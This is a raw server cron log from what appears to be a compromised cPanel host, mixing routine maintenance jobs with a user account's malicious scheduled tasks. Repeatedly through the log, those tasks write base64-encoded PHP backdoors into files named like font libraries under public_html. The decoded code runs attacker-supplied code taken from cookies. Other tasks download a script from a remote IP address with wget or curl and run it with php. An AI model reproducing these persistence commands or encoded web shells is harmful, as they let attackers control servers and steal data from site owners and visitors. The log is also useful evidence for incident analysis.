Sep  4 13:36:01 ip-184-168-122-23 CROND[32506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:36:01 ip-184-168-122-23 CROND[32505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:36:01 ip-184-168-122-23 CROND[32507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:36:01 ip-184-168-122-23 CROND[32509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:36:01 ip-184-168-122-23 CROND[32508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:37:01 ip-184-168-122-23 CROND[32685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:37:01 ip-184-168-122-23 CROND[32686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:37:01 ip-184-168-122-23 CROND[32687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:37:01 ip-184-168-122-23 CROND[32688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:38:01 ip-184-168-122-23 CROND[321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:38:01 ip-184-168-122-23 CROND[322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:38:01 ip-184-168-122-23 CROND[324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:38:01 ip-184-168-122-23 CROND[328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:38:01 ip-184-168-122-23 CROND[329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:39:02 ip-184-168-122-23 CROND[411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:39:02 ip-184-168-122-23 CROND[415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:39:02 ip-184-168-122-23 CROND[412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:39:02 ip-184-168-122-23 CROND[414]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 13:39:02 ip-184-168-122-23 CROND[413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:40:02 ip-184-168-122-23 CROND[511]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:40:02 ip-184-168-122-23 CROND[512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:40:02 ip-184-168-122-23 CROND[509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:40:02 ip-184-168-122-23 CROND[513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:40:02 ip-184-168-122-23 CROND[510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:40:02 ip-184-168-122-23 CROND[508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:40:02 ip-184-168-122-23 CROND[515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:40:02 ip-184-168-122-23 CROND[514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:41:01 ip-184-168-122-23 CROND[608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:41:01 ip-184-168-122-23 CROND[607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:41:01 ip-184-168-122-23 CROND[609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:41:01 ip-184-168-122-23 CROND[610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:42:01 ip-184-168-122-23 CROND[801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:42:01 ip-184-168-122-23 CROND[803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:42:02 ip-184-168-122-23 CROND[805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:42:02 ip-184-168-122-23 CROND[804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:42:02 ip-184-168-122-23 CROND[807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:43:01 ip-184-168-122-23 CROND[888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:43:01 ip-184-168-122-23 CROND[890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:43:01 ip-184-168-122-23 CROND[889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:43:01 ip-184-168-122-23 CROND[891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:44:01 ip-184-168-122-23 CROND[999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:44:01 ip-184-168-122-23 CROND[1000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:44:01 ip-184-168-122-23 CROND[1001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:44:01 ip-184-168-122-23 CROND[1002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:44:01 ip-184-168-122-23 CROND[1003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:45:01 ip-184-168-122-23 CROND[1120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:45:01 ip-184-168-122-23 CROND[1121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:45:01 ip-184-168-122-23 CROND[1119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:45:01 ip-184-168-122-23 CROND[1122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:45:01 ip-184-168-122-23 CROND[1124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:45:01 ip-184-168-122-23 CROND[1123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:46:01 ip-184-168-122-23 CROND[1266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:46:01 ip-184-168-122-23 CROND[1265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:46:01 ip-184-168-122-23 CROND[1267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:46:01 ip-184-168-122-23 CROND[1268]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 13:46:01 ip-184-168-122-23 CROND[1269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:46:01 ip-184-168-122-23 CROND[1271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:46:01 ip-184-168-122-23 CROND[1270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:47:01 ip-184-168-122-23 CROND[1388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:47:01 ip-184-168-122-23 CROND[1391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:47:01 ip-184-168-122-23 CROND[1390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:47:01 ip-184-168-122-23 CROND[1392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:48:01 ip-184-168-122-23 CROND[1517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
